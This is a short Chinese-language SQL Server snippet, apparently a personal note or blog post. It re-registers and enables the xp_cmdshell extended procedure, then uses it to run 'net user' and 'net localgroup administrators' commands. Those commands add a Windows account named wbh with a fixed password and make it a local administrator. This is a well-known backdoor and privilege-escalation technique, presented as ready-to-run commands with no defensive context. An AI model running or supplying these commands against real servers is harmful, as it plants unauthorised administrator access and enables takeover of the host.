前奏:
-- 添加xp_cmdshell扩展存储过程,可以执行dos命令
--EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
-- 打开xp_cmdshell,因为默认这个shell是关闭状态,执行dos命令时会出现:
--SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
--系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'show advanced options', 0
-- 查看xp_cmdshell状态
SELECT * FROM sys.configurations WHERE [name]='xp_cmdshell'
ORDER BY name
==========
我的:
exec xp_cmdshell 'net user wbh 123123456 /add'
-- 添加xp_cmdshell存储过程,可以执行dos命令
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
-- 打开xp_cmdshell
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
----------到这----------
EXEC sp_configure 'show advanced options', 0
-- 查看xp_cmdshell状态
SELECT * FROM sys.configurations WHERE [name]='xp_cmdshell'
ORDER BY name
-- 添加一个Windows用户,用户名wbh 密码123123456
exec xp_cmdshell 'net user wbh 123123456 /add'
-- 把这个用户加入管理员用户组
exec xp_cmdshell 'net localgroup administrators wbh /add'
浙公网安备 33010602011771号